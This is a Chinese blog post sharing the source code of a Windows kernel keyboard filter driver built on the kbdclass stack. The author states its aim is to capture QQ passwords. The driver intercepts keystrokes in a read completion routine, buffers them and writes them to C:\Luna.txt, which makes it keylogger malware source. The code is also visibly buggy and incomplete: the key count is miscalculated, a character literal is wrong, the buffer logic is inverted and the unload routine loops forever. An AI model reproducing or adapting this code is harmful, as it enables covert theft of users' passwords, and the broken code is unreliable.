Windows驱动过滤--kdbclass过滤，寒江独钓加强版

寒江独钓键盘过滤，修改了下，过滤QQ密码写入buff，有 回车 或者buff满写入文件，因为irp完成，irp对应的内存快回收，所以用全局缓冲区。开启一个线程写入，开始打算用队例一个一个处理irp的，但是发现那样比较缓慢，只好这样了。。创建进程回调代码加几行就行，这里没写，因为代码丢失了，算是个大概的代码吧。给初学的分享下。有错指出，谢谢。

前辈们不要见笑了。

 

 

struct.h

/************************************/
//author:DuanYueming
//data: 02/05/2015
//File: Lstruct.h 
/************************************/
#ifndef _LSTRUCT_H_
#define _LSTRUCT_H_

typedef struct _DEVICE_EXTENSION 
{
	PDEVICE_OBJECT pDeviceObj;
	PDEVICE_OBJECT pAttachDev; //上层设备
	PDEVICE_OBJECT pLowDevice; //底层设备
	PDEVICE_OBJECT pStorageDev; //存储的设备
	PDEVICE_OBJECT pTarDevice; //目标设备
	UNICODE_STRING MyDeviceName;
	UNICODE_STRING MyDeviceSym;
	ULONG pMyDevFlg;
	IO_REMOVE_LOCK MoveLock;
}DEVICE_EXTENSION,*PDEVICE_EXTENSION;

typedef struct _MultVar
{
  PVOID pBuff;
  KEVENT WaitEvent;
  ULONG  Length;
}MULTVAR,*PMULTVAR;

#define  BUFF_SIZE 256

typedef struct _MY_BUFF
{
	PUCHAR pBuf;
	int MaxSize;
	int CurSize;
	int Offset;

}MYBUFF,*PMYBUFF;




typedef struct  _MY_DATA
{   
	PIRP Irp;
	PVOID pBuff;
	LIST_ENTRY ListEntry;
}MY_DATA,*PMYDATA;

　　

#define  MyDeviceFlags 'LUNA'
#define  MyCdoDeviceFlags 'LCdo'
#define  RemoveTag  'Lmn'
#define DELAY_ONE_MICROSECOND   (-10)
#define DELAY_ONE_MILLISECOND   (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)

#define IS_MY_DEVICE_OBJECT(_obj)  \
	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags || PDEVICE_EXTENSION(_obj->DeviceExtension)->pMyDevFlg == MyDeviceFlags)

#define IS_MY_CONTROL_DEVICE(_obj)  \
	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags)

　　

/********未归档函数************/
NTSTATUS
	ObReferenceObjectByName(
	PUNICODE_STRING ObjectName,
	ULONG Attributes,
	PACCESS_STATE AccessState,
	ACCESS_MASK DesiredAccess,
	POBJECT_TYPE ObjectType,
	KPROCESSOR_MODE AccessMode,
	PVOID ParseContext,
	PVOID *Object
	);

extern POBJECT_TYPE *IoDriverObjectType;

　　

NTSTATUS LQueryObjectName(PVOID Lobject,PUNICODE_STRING name)//查询文件名
{
	NTSTATUS status;
	POBJECT_NAME_INFORMATION pBuff;
	WCHAR cache[64];
	ULONG NeedLength;
	pBuff = (POBJECT_NAME_INFORMATION)cache;
	status = ObQueryNameString(Lobject,pBuff,64*sizeof(WCHAR),&NeedLength);
	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		pBuff =(POBJECT_NAME_INFORMATION) ExAllocatePool(NonPagedPool,NeedLength);
		if (pBuff == NULL)
		{
			return STATUS_INSUFFICIENT_RESOURCES;
		}
		RtlZeroMemory(pBuff,NeedLength);
		status = ObQueryNameString(Lobject,pBuff,NeedLength,&NeedLength);
	}
	name->Length = 0;
	RtlCopyUnicodeString(name,&pBuff->Name);
	return status;
}

VOID LUnInstallDriver(PDRIVER_OBJECT pDriverObject)
{  
	PDEVICE_EXTENSION pDevExt;
	PRKTHREAD CurrentThread;
	LARGE_INTEGER time;
	PDEVICE_OBJECT  pDevObj;
	time = RtlConvertLongToLargeInteger(100*DELAY_ONE_SECOND);
	pDevObj = pDriverObject->DeviceObject;
	CurrentThread = KeGetCurrentThread();
	KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);

	while (pDevObj)
	{
		pDevExt =(PDEVICE_EXTENSION) pDevObj->DeviceExtension;
		IoDeleteSymbolicLink(&pDevExt->MyDeviceSym);
		pDevObj = pDevObj->NextDevice;
		IoDetachDevice(pDevExt->pLowDevice);
		IoDeleteDevice(pDevExt->pDeviceObj);
	}
	while (1)
	{

	}



	KdPrint(("Driver UnInstall Complete,leave\n"));
}
NTSTATUS LDispatchRoutine(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
{   
	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
	IoSkipCurrentIrpStackLocation(pIrp);
	return  IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pLowDevice,pIrp);
}

　　以下是代码：

#include "QFilter.h"


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
	int i;
	NTSTATUS status;
	HANDLE Thread;
	
	/********初始化全局变量***********/
	IsWriteData = FALSE;
	IsNeedFilter = FALSE;
	InitializeListHead(&g_list);
	
	g_buff =(PMYBUFF) ExAllocatePool(NonPagedPool,sizeof(MYBUFF));
	if (g_buff ==NULL)
	{
		KdPrint(("no through memory \n"));
		return 0;
	}
	else
	{
		g_buff->pBuf =(PUCHAR)ExAllocatePool(NonPagedPool,BUFF_SIZE);
		ASSERT(g_buff->pBuf);
		g_buff->MaxSize = BUFF_SIZE;
		g_buff->Offset = 0;
		g_buff->CurSize = 0;
	}

	/********初始化全局变量***********/
	pDriverObject->DriverUnload = LUnInstallDriver;
	for (i = 0;i <IRP_MJ_MAXIMUM_FUNCTION;i++)
	{
		pDriverObject->MajorFunction[i] = LDispatchRoutine;
	}

	pDriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;
	pDriverObject->MajorFunction[IRP_MJ_POWER] = PowerRoutine;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ContrlRoutine;
	//pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseIrp;


	status = CreateMyCDODevice(pDriverObject);
	if (!NT_SUCCESS(status))
	{
		return status;
	}
	status = BindKbdDriver(pDriverObject);
	if (!NT_SUCCESS(status))
	{
		return status;
	}
	status = PsCreateSystemThread(&Thread,GENERIC_ALL,NULL,NULL,NULL,ProcessIrp,NULL);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("Create Thread Failed \n"));
		return status;
	}
	KdPrint(("Start Kbd Filter SuccessFuly \n"));
	return STATUS_SUCCESS;
}
VOID ProcessIrp(PVOID pContext)
{   
//	PMYDATA data;
	PVOID buff = NULL;
    for (;;)
    {
    //    PLIST_ENTRY HeadData = RemoveHeadList(&g_list);	
	//	data = CONTAINING_RECORD(HeadData,MY_DATA,ListEntry);
		if (IsWriteData == TRUE&& g_buff->pBuf != NULL)
		{  
			KdPrint(("hehehehe\n"));
			KdPrint(("111\n"));
			KdPrint(("2222\n"));
			MyWriteDataFile();
			RtlZeroMemory(g_buff->pBuf,g_buff->MaxSize);
			g_buff->CurSize = 0;
			g_buff->Offset = 0;
		}
    }
}


NTSTATUS PowerRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
{
   PoStartNextPowerIrp(pIrp);
   IoSkipCurrentIrpStackLocation(pIrp);
   return PoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
}
NTSTATUS CreateMyCDODevice(PDRIVER_OBJECT pDriverObj)
{
	NTSTATUS status;
	UNICODE_STRING DevSym;
	UNICODE_STRING DevName;
	PDEVICE_OBJECT pNewDev;
	PDEVICE_EXTENSION pDevExt;
	RtlInitUnicodeString(&DevName,L"\\Device\\QFilter");
	
	status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),&DevName,FILE_DEVICE_UNKNOWN,0,TRUE,&pNewDev);
	if (!NT_SUCCESS(status))
	{
	   KdPrint(("Create CDO DevObj Failed \n"));
	   return status;
	}
	RtlInitUnicodeString(&DevSym,L"\\??\\QFilterSym");
    status = IoCreateSymbolicLink(&DevSym,&DevName);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("Create Cdo Symbolic Failed \n"));
		IoDeleteDevice(pNewDev);
		return status;
	}
	pNewDev->Flags |=DO_BUFFERED_IO;
	pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
	pDevExt->pMyDevFlg = MyCdoDeviceFlags;
	pDevExt->MyDeviceName = DevName;
	pDevExt->pDeviceObj = pNewDev;
	pDevExt->MyDeviceSym = DevSym;
	
	return STATUS_SUCCESS;
}

NTSTATUS BindKbdDriver(PDRIVER_OBJECT pDriverObj)
{
	UNICODE_STRING kbdClass;
	PDEVICE_OBJECT pNewDev;
	PDEVICE_OBJECT pTarDev;
	PDEVICE_OBJECT pLowDev;
	PDEVICE_EXTENSION pDevExt;
	PDRIVER_OBJECT pKbdDrOb;
	NTSTATUS status = STATUS_SUCCESS;

	RtlInitUnicodeString(&kbdClass,L"\\Driver\\kbdclass");
	status = ObReferenceObjectByName(&kbdClass,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pKbdDrOb);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("Load KbdObj Failed :%x\n",status));
		return status;
	}

	ObDereferenceObject(pKbdDrOb);
	pTarDev = pKbdDrOb->DeviceObject;
	while (pTarDev)
	{
		status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),NULL,pTarDev->DeviceType,pTarDev->Characteristics,FALSE,&pNewDev);
		if (!NT_SUCCESS(status))
		{
			KdPrint(("Create Device Failed:%x\n",status));
			return status;
		}
		else
		{
			status = IoAttachDeviceToDeviceStackSafe(pNewDev,pTarDev,&pLowDev);
			if (!NT_SUCCESS(status))
			{    
				KdPrint(("Bind Failed \n"));
				return status;
			}
		    pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
			pNewDev->Flags |= pLowDev->Flags&(DO_BUFFERED_IO | DO_DIRECT_IO |DO_POWER_PAGABLE);
			pNewDev->Flags &= ~DO_DEVICE_INITIALIZING;
			pDevExt->pDeviceObj = pNewDev;
			pDevExt->pMyDevFlg = MyDeviceFlags;
			pDevExt->pLowDevice = pLowDev;
			pDevExt->pAttachDev = pTarDev;
			pNewDev->StackSize = pDevExt->pLowDevice->StackSize+1;
			//IoInitializeRemoveLock(&pDevExt->MoveLock,0,0,0);
		}
		pTarDev = pTarDev->NextDevice;
	}
	RtlInitUnicodeString(&FileName,L"\\DosDevices\\C:\\Luna.txt");
	KdPrint(("Complete Device Bind \n"));
	return STATUS_SUCCESS;
}

VOID MyWriteDataFile()
{   
	HANDLE handl;
	OBJECT_ATTRIBUTES objAttr;
	IO_STATUS_BLOCK block;
	NTSTATUS status;
    InitializeObjectAttributes(&objAttr,&FileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
	status = ZwCreateFile(&handl,GENERIC_WRITE,&objAttr,&block,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("Create File Storage data Failed:%x",status));
		return;
	}
		status = ZwWriteFile(handl,NULL,NULL,NULL,&block,g_buff->pBuf,g_buff->CurSize,0,NULL);
		if (!NT_SUCCESS(status))
		{
			KdPrint(("WriteFile Failed:%X \n",status));
			ZwClose(handl);
			return;
		}
		KdPrint((" code:%C \n",g_buff->pBuf));
 	ZwClose(handl);
}

NTSTATUS ReadCompleteFun(PDEVICE_OBJECT pDeviceObj,PIRP pIrp,PVOID pContext)
{   
	ULONG KeyStructNum;
	PKEYBOARD_INPUT_DATA ptr;
	ULONG i;
	UCHAR ASCIICODE;
	if(/*IsNeedFilter &&*/NT_SUCCESS(pIrp->IoStatus.Status)  )
	{
	   KeyStructNum = pIrp->IoStatus.Information/(pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA));
	   ptr =(PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer;
	   for (i =0 ;i <KeyStructNum;++i)
	   {   
		      ASCIICODE = print_keystroke(ptr[i].MakeCode);
		   if(g_buff->Offset >= (BUFF_SIZE-(5*UCHARSIZE)) || ASCIICODE == '0x0D')
		   {    			  
			   KdPrint(("steup write data!!!!!!!!!!!!!!!!!!!\n"));
			   IsWriteData =TRUE;
			   RtlCopyMemory(((g_buff->pBuf)+(g_buff->Offset)),&ASCIICODE,UCHARSIZE);
			   g_buff->Offset += UCHARSIZE;
			   g_buff->CurSize +=UCHARSIZE;
		   }
		   else
		   { 
			   IsWriteData =FALSE;
			   KdPrint(("------buff small---Start Write Data to File-- \n"));
		   }
	   }
	}
   
   if (pIrp->PendingReturned)
   {
	   IoMarkIrpPending(pIrp);
   }
	return pIrp->IoStatus.Status;
}

NTSTATUS ReadRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
{
   PIO_STACK_LOCATION stack;
   NTSTATUS status = STATUS_SUCCESS;
   if (pIrp->CurrentLocation ==1)
   {
	   pIrp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
	   pIrp->IoStatus.Information = 0;
	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	   return STATUS_INVALID_DEVICE_REQUEST;
   }
   if (IS_MY_CONTROL_DEVICE(pDeviceObj))
   {
	   pIrp->IoStatus.Status = STATUS_SUCCESS;
	   pIrp->IoStatus.Information = 0;
	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	   return STATUS_SUCCESS;
   }
 
   stack = IoGetCurrentIrpStackLocation(pIrp);
   IoCopyCurrentIrpStackLocationToNext(pIrp);
   IoSetCompletionRoutine(pIrp,ReadCompleteFun,NULL,TRUE,TRUE,TRUE);
  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);

}

NTSTATUS ContrlRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
{
	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);

	if (IS_MY_CONTROL_DEVICE(pDeviceObj))
	{
		switch(stack->Parameters.DeviceIoControl.IoControlCode)
		{
			

		}
	}



	switch(stack->Parameters.DeviceIoControl.IoControlCode)
	{
	default:
		  IoSkipCurrentIrpStackLocation(pIrp);
		  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
	}

}